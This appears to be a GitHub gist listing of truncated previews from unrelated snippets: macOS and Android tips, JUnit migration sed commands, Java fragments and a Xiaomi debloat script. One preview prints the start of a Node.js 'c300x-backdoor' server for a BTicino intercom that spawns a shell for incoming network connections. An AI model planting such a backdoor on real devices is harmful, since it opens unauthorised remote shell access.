- Close Android File Transfer
- Open Activity Monitor and kill “Android File Transfer Agent”
- Go to where you installed “Android File Transfer.app” (I have it under /Applications)
- Ctrl+click –> “Show package contents”
- Go to Contents/Resources
- Rename “Android File Transfer Agent” to e.g. “Android File Transfer Agent_DISABLED”
- Then go to “/Users/username/Library/Application Support/Google/Android File Transfer” and again rename the Agent app.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.atlassian.bitbucket.internal.boot.web; | |
import org.apache.catalina.LifecycleListener; | |
import org.apache.catalina.core.AprLifecycleListener; | |
import org.apache.coyote.http11.Http11AprProtocol; | |
import org.springframework.boot.context.embedded.EmbeddedServletContainerCustomizer; | |
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainerFactory; | |
import org.springframework.context.annotation.Bean; | |
import org.springframework.context.annotation.Configuration; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import lombok.*; | |
import org.springframework.data.annotation.Immutable; | |
import javax.persistence.*; | |
@Entity | |
@Immutable | |
@Table(name = "acl_class") | |
@AllArgsConstructor | |
@NoArgsConstructor |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.Test/org.junit.jupiter.api.Test/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.AfterClass/org.junit.jupiter.api.AfterAll/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.After/org.junit.jupiter.api.AfterEach/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.BeforeClass/org.junit.jupiter.api.BeforeAll/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.Before/org.junit.jupiter.api.BeforeEach/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.Assert/org.junit.jupiter.api.Assertions/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/Assert.assert/Assertions.assert/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/org.junit.runner.RunWith/org.junit.jupiter.api.extension.ExtendWith/g {} \; | |
find . -type f -name '*.java' -exec sed -i '' -e s/@RunWith\(SpringJUnit4ClassRunner.class\)/@ExtendWith\(SpringExtension.class\)/g {} \; |
- Download and extract zip from here
- Press
Windows + x
- Press
a
(Selects PowerShell (Admin)) - Navigate to directory where fonts were extracted to (
cd ${HOME}\Downloads\fonts-master\fonts-master
) - Set Execution policy
Set-ExecutionPolicy Bypass
- Press
y
thenEnter
to accept
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var net = require('net') | |
var readline = require('readline') | |
/** | |
* @class Client | |
* @param host {String} the host | |
* @param post {Integer} the port | |
*/ | |
function Client (host, port) { | |
this.host = host |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.*; | |
import java.io.*; | |
import java.security.*; | |
public class ChangePassword | |
{ | |
private final static JKS j = new JKS(); | |
public static void main(String[] args) throws Exception | |
{ |
adb
is the Android CLI tool with which you can interact with your android device, from your PC
You must enable developer mode (tap 7 times on the build version in parameters) and install adb on your PC.
Don't hesitate to read comments, there is useful tips, thanks guys for this !
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@C3X-00-00-00-00-00-ca-00000000:~# cat /home/bticino/cfg/extra/c300x-backdoor/server.js | |
var spawn = require('child_process').spawn | |
var net = require('net') | |
var server = net.createServer(function (socket) { | |
console.log('New connection!') | |
var sh = (process.platform === 'win32') ? spawn('cmd') : spawn('/bin/bash') | |
sh.stdin.resume() | |
sh.stdout.on('data', function (data) { | |
// Node makes async stuff easy. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# | |
# Clean-up Xiaomi smartphone without rooting: | |
# | |
# 1) You have to install adb tool from android sdk | |
# 2) You have to activate developer options, next activate usb debugging | |
# 3) Comment out or delete lines with packages, if you really need them | |
# 4) Optional: I hightly recommed to activate OEM unlocking feature in developer options. | |
# It doesn't unlock you device immediately, but in case of breaking you phone | |
# you will have opportunity to unlock you phone and reflash it via MiFlash. |
OlderNewer